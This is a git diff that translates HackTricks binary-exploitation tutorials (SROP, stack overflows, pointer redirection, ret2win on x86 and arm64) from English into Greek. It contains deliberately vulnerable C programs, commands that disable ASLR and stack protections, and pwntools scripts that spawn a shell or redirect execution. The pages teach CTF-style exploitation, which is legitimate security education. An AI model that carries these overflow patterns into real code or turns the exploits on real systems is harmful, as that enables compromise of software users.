- char* b = gen_stack(); - do_stuff(2); - return 0; +char* b = gen_stack(); +do_stuff(2); +return 0; } ``` - -Compile it with: - +Συγκεντρώστε το με: ```bash clang -o srop srop.c -fno-stack-protector echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR ``` +## Εκμετάλλευση -## Exploit - -The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`. - +Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του **`sigreturn`** και να προετοιμάσει τη στοίβα για να καλέσει το **`execve`** με έναν δείκτη προς το `/bin/sh`. ```python from pwn import * @@ -110,44 +103,40 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` +## bof παράδειγμα χωρίς sigreturn -## bof example without sigreturn - -### Code - +### Κώδικας ```c #include #include #include char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - return 0; +char* b = gen_stack(); +return 0; } ``` +## Εκμετάλλευση -## Exploit - -In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**: +Στην ενότητα **`vdso`** είναι δυνατή η εύρεση μιας κλήσης προς **`sigreturn`** στην απόσταση **`0x7b0`**:
-Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it: - +Επομένως, αν διαρρεύσει, είναι δυνατόν να **χρησιμοποιηθεί αυτή η διεύθυνση για να αποκτήσετε πρόσβαση σε ένα `sigreturn`** αν το δυαδικό δεν το φορτώνει: ```python from pwn import * @@ -176,14 +165,13 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -For more info about vdso check: +Για περισσότερες πληροφορίες σχετικά με το vdso, ελέγξτε: {{#ref}} ../ret2vdso.md {{#endref}} -And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info: +Και για να παρακάμψετε τη διεύθυνση του `/bin/sh`, μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν σε αυτήν, για περισσότερες πληροφορίες: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 6de6060f2..a33b1e534 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -2,37 +2,34 @@ {{#include ../../banners/hacktricks-training.md}} -## What is a Stack Overflow +## Τι είναι το Stack Overflow -A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. +Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν τον γειτονικό χώρο μνήμης**, οδηγώντας στη διαφθορά έγκυρων δεδομένων, στην αναστάτωση της ροής ελέγχου και ενδεχομένως στην εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο. -The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**. +Το κύριο πρόβλημα αυτής της επικαλύψεως είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψει στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στο stack**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**. -The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack. +Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως είναι σε θέση να επικαλύψει άλλα μέρη του stack. -Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. - -For example, the following functions could be vulnerable: +Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο. +Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες: ```c void vulnerable() { - char buffer[128]; - printf("Enter some text: "); - gets(buffer); // This is where the vulnerability lies - printf("You entered: %s\n", buffer); +char buffer[128]; +printf("Enter some text: "); +gets(buffer); // This is where the vulnerability lies +printf("You entered: %s\n", buffer); } ``` +### Εύρεση των offsets των Stack Overflows -### Finding Stack Overflows offsets +Ο πιο κοινός τρόπος για να βρείτε stack overflows είναι να δώσετε μια πολύ μεγάλη είσοδο από `A`s (π.χ. `python3 -c 'print("A"*1000)'`) και να περιμένετε ένα `Segmentation Fault` που υποδεικνύει ότι η **διεύθυνση `0x41414141` προσπαθήθηκε να προσπελαστεί**. -The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**. +Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους \_n**\_\*\* εμφανίζεται ακριβώς μία φορά\*\* ως συνεχής υποακολουθία. -Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence. - -This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it. - -It's possible to use **pwntools** for this: +Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποιο offset είναι απαραίτητο για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των byte που κατέληξαν να την επικαλύπτουν. +Είναι δυνατό να χρησιμοποιήσετε **pwntools** για αυτό: ```python from pwn import * @@ -44,26 +41,23 @@ eip_value = p32(0x6161616c) offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern print(f"The offset is: {offset}") ``` - -or **GEF**: - +ή **GEF**: ```bash #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` +## Εκμετάλλευση Στοίβας Υπερχείλισης -## Exploiting Stack Overflows +Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να **επικαλύψετε** τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο **EBP/RBP και EIP/RIP (ή ακόμα περισσότερα)**.\ +Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου θα ανακατευθυνθεί όπου ο χρήστης καθόρισε** σε αυτόν τον δείκτη. -During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ -The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer. - -However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges). +Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF). ### Ret2win -In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called: +Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέφει, η κρυφή συνάρτηση θα κληθεί: {{#ref}} ret2win/ @@ -71,31 +65,31 @@ ret2win/ ### Stack Shellcode -In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: +Σε αυτό το σενάριο, ο επιτιθέμενος θα μπορούσε να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να πηδήξει στο shellcode και να εκτελέσει αυθαίρετο κώδικα: {{#ref}} stack-shellcode/ {{#endref}} -### ROP & Ret2... techniques +### ROP & Ret2... τεχνικές -This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: +Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψετε την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό αρχείο: {{#ref}} ../rop-return-oriented-programing/ {{#endref}} -## Heap Overflows +## Υπερχείλιση Σωρού -An overflow is not always going to be in the stack, it could also be in the **heap** for example: +Μια υπερχείλιση δεν θα είναι πάντα στη στοίβα, μπορεί επίσης να είναι στον **σωρό** για παράδειγμα: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Types of protections +## Τύποι προστασιών -There are several protections trying to prevent the exploitation of vulnerabilities, check them in: +Υπάρχουν πολλές προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών, ελέγξτε τις στο: {{#ref}} ../common-binary-protections-and-bypasses/ diff --git a/src/binary-exploitation/stack-overflow/pointer-redirecting.md b/src/binary-exploitation/stack-overflow/pointer-redirecting.md index f92bebd28..438c02232 100644 --- a/src/binary-exploitation/stack-overflow/pointer-redirecting.md +++ b/src/binary-exploitation/stack-overflow/pointer-redirecting.md @@ -1,28 +1,28 @@ -# Pointer Redirecting +# Ανακατεύθυνση Δεικτών {{#include ../../banners/hacktricks-training.md}} -## String pointers +## Δείκτες Συμβολοσειρών -If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary. +Αν μια κλήση συνάρτησης πρόκειται να χρησιμοποιήσει μια διεύθυνση μιας συμβολοσειράς που βρίσκεται στη στοίβα, είναι δυνατόν να εκμεταλλευτούμε την υπερχείλιση του buffer για να **επικαλύψουμε αυτή τη διεύθυνση** και να βάλουμε μια **διεύθυνση σε μια διαφορετική συμβολοσειρά** μέσα στο δυαδικό. -If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary. +Αν για παράδειγμα μια κλήση της συνάρτησης **`system`** πρόκειται να **χρησιμοποιήσει τη διεύθυνση μιας συμβολοσειράς για να εκτελέσει μια εντολή**, ένας επιτιθέμενος θα μπορούσε να τοποθετήσει τη **διεύθυνση μιας διαφορετικής συμβολοσειράς στη στοίβα**, **`export PATH=.:$PATH`** και να δημιουργήσει στον τρέχοντα κατάλογο ένα **σενάριο με το όνομα του πρώτου γράμματος της νέας συμβολοσειράς** καθώς αυτό θα εκτελείται από το δυαδικό. -You can find an **example** of this in: +Μπορείτε να βρείτε ένα **παράδειγμα** αυτού στο: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) - [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) - - 32bit, change address to flags string in the stack so it's printed by `puts` +- 32bit, αλλάξτε τη διεύθυνση στη συμβολοσειρά flags στη στοίβα ώστε να εκτυπωθεί από `puts` -## Function pointers +## Δείκτες Συναρτήσεων -Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**). +Το ίδιο με τον δείκτη συμβολοσειρών αλλά εφαρμόζεται σε συναρτήσεις, αν η **στοίβα περιέχει τη διεύθυνση μιας συνάρτησης** που θα κληθεί, είναι δυνατόν να **αλλάξει** (π.χ. να καλέσει **`system`**). -You can find an example in: +Μπορείτε να βρείτε ένα παράδειγμα στο: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) -## References +## Αναφορές - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 0cad69c6d..6fd7e51fe 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -4,47 +4,42 @@ ## Basic Information -**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples: +Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε ένα δεδομένο δυαδικό αρχείο για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στο δυαδικό, συχνά ονομαζόμενη κάτι όπως `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα: ### C Example -Consider a simple C program with a vulnerability and a `win` function that we intend to call: - +Σκεφτείτε ένα απλό πρόγραμμα C με μια ευπάθεια και μια συνάρτηση `win` που σκοπεύουμε να καλέσουμε: ```c #include #include void win() { - printf("Congratulations! You've called the win function.\n"); +printf("Congratulations! You've called the win function.\n"); } void vulnerable_function() { - char buf[64]; - gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. +char buf[64]; +gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -To compile this program without stack protections and with **ASLR** disabled, you can use the following command: - +Για να μεταγλωττίσετε αυτό το πρόγραμμα χωρίς προστασίες στο στοίβασμα και με το **ASLR** απενεργοποιημένο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` +- `-m32`: Συγκεντρώστε το πρόγραμμα ως 32-bit δυαδικό (αυτό είναι προαιρετικό αλλά κοινό σε προκλήσεις CTF). +- `-fno-stack-protector`: Απενεργοποιήστε τις προστασίες κατά των υπερχειλίσεων στο στοίβας. +- `-z execstack`: Επιτρέψτε την εκτέλεση κώδικα στη στοίβα. +- `-no-pie`: Απενεργοποιήστε το Position Independent Executable για να διασφαλίσετε ότι η διεύθυνση της συνάρτησης `win` δεν αλλάζει. +- `-o vulnerable`: Ονομάστε το αρχείο εξόδου `vulnerable`. -- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges). -- `-fno-stack-protector`: Disable protections against stack overflows. -- `-z execstack`: Allow execution of code on the stack. -- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change. -- `-o vulnerable`: Name the output file `vulnerable`. - -### Python Exploit using Pwntools - -For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function. +### Python Exploit χρησιμοποιώντας Pwntools +Για την εκμετάλλευση, θα χρησιμοποιήσουμε **pwntools**, ένα ισχυρό πλαίσιο CTF για τη συγγραφή εκμεταλλεύσεων. Το σενάριο εκμετάλλευσης θα δημιουργήσει ένα payload για να υπερχειλίσει το buffer και να αντικαταστήσει τη διεύθυνση επιστροφής με τη διεύθυνση της συνάρτησης `win`. ```python from pwn import * @@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` - -To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use: - +Για να βρείτε τη διεύθυνση της συνάρτησης `win`, μπορείτε να χρησιμοποιήσετε **gdb**, **objdump** ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρείτε δυαδικά αρχεία. Για παράδειγμα, με το `objdump`, μπορείτε να χρησιμοποιήσετε: ```sh objdump -d vulnerable | grep win ``` +Αυτή η εντολή θα σας δείξει τη συναρμολόγηση της `win` συνάρτησης, συμπεριλαμβανομένης της διεύθυνσης εκκίνησής της. -This command will show you the assembly of the `win` function, including its starting address. +Το σενάριο Python στέλνει ένα προσεκτικά κατασκευασμένο μήνυμα που, όταν επεξεργαστεί από τη `vulnerable_function`, υπερχειλίζει το buffer και αντικαθιστά τη διεύθυνση επιστροφής στο stack με τη διεύθυνση της `win`. Όταν η `vulnerable_function` επιστρέφει, αντί να επιστρέψει στη `main` ή να τερματίσει, πηδά στη `win`, και το μήνυμα εκτυπώνεται. -The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed. +## Προστασίες -## Protections +- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια διαρροή για να καταλάβετε πού είναι φορτωμένη η συνάρτηση win. Σε ορισμένες περιπτώσεις, όταν η συνάρτηση που προκαλεί την υπερχείλιση είναι `read` ή παρόμοια, μπορείτε να κάνετε μια **Μερική Αντικατάσταση** 1 ή 2 byte για να αλλάξετε τη διεύθυνση επιστροφής ώστε να είναι η συνάρτηση win. Λόγω του πώς λειτουργεί το ASLR, τα τελευταία τρία hex nibbles δεν είναι τυχαία, οπότε υπάρχει μια **1/16 πιθανότητα** (1 nibble) να αποκτήσετε τη σωστή διεύθυνση επιστροφής. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ. -- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. - -## Other examples & References +## Άλλα παραδείγματα & Αναφορές - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - - 32bit, no ASLR +- 32bit, χωρίς ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - - 64 bits with ASLR, with a leak of the bin address +- 64 bits με ASLR, με μια διαρροή της διεύθυνσης bin - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - - 64 bits, no ASLR +- 64 bits, χωρίς ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - - 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow +- 32 bits, χωρίς ASLR, διπλή μικρή υπερχείλιση, πρώτα για να υπερχειλίσει το stack και να αυξήσει το μέγεθος της δεύτερης υπερχείλισης - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bit, relro, χωρίς canary, nx, χωρίς pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win) - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 bit, nx, τίποτα άλλο, μερική αντικατάσταση του EIP (1Byte) για να καλέσει τη συνάρτηση win - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win. +- Το πρόγραμμα επικυρώνει μόνο το τελευταίο byte ενός αριθμού για να ελέγξει το μέγεθος της εισόδου, επομένως είναι δυνατό να προσθέσετε οποιοδήποτε μέγεθος όσο το τελευταίο byte είναι εντός του επιτρεπόμενου εύρους. Στη συνέχεια, η είσοδος δημιουργεί μια υπερχείλιση buffer που εκμεταλλεύεται με ένα ret2win. - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - - 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win) +- 64 bit, relro, χωρίς canary, nx, pie. Μερική αντικατάσταση για να καλέσει τη συνάρτηση win (ret2win) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - - arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions +- arm64, PIE, δίνει μια διαρροή PIE η συνάρτηση win είναι στην πραγματικότητα 2 συναρτήσεις οπότε ROP gadget που καλεί 2 συναρτήσεις - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - - ARM64, off-by-one to call a win function +- ARM64, off-by-one για να καλέσει μια συνάρτηση win -## ARM64 Example +## Παράδειγμα ARM64 {{#ref}} ret2win-arm64.md diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index 410cf5cf0..abb06de99 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -2,109 +2,94 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +Βρείτε μια εισαγωγή στο arm64 στο: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code - ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +Συγκέντρωση χωρίς pie και canary: ```bash clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie ``` +## Εύρεση της απόκλισης -## Finding the offset +### Επιλογή προτύπου -### Pattern option - -This example was created using [**GEF**](https://github.com/bata24/gef): - -Stat gdb with gef, create pattern and use it: +Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας [**GEF**](https://github.com/bata24/gef): +Εκκινήστε το gdb με το gef, δημιουργήστε ένα πρότυπο και χρησιμοποιήστε το: ```bash gdb -q ./ret2win pattern create 200 run ``` -
-arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset: - +Η arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που είναι στο μητρώο x30 (το οποίο έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε την απόσταση του μοτίβου: ```bash pattern search $x30 ``` -
-**The offset is 72 (9x48).** +**Η απόσταση είναι 72 (9x48).** -### Stack offset option - -Start by getting the stack address where the pc register is stored: +### Επιλογή απόστασης στοίβας +Ξεκινήστε αποκτώντας τη διεύθυνση της στοίβας όπου αποθηκεύεται το pc register: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc run info frame ``` -
-Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337: - +Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως 13371337: ``` b *vulnerable_function+28 c ``` -
-Find where this pattern is stored in memory: +Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:
-Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** +Τότε: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
-## No PIE +## Χωρίς PIE -### Regular - -Get the address of the **`win`** function: +### Κανονικό +Αποκτήστε τη διεύθυνση της **`win`** συνάρτησης: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` - -Exploit: - +Εκμετάλλευση: ```python from pwn import * @@ -124,13 +109,11 @@ p.send(payload) print(p.recvline()) p.close() ``` -
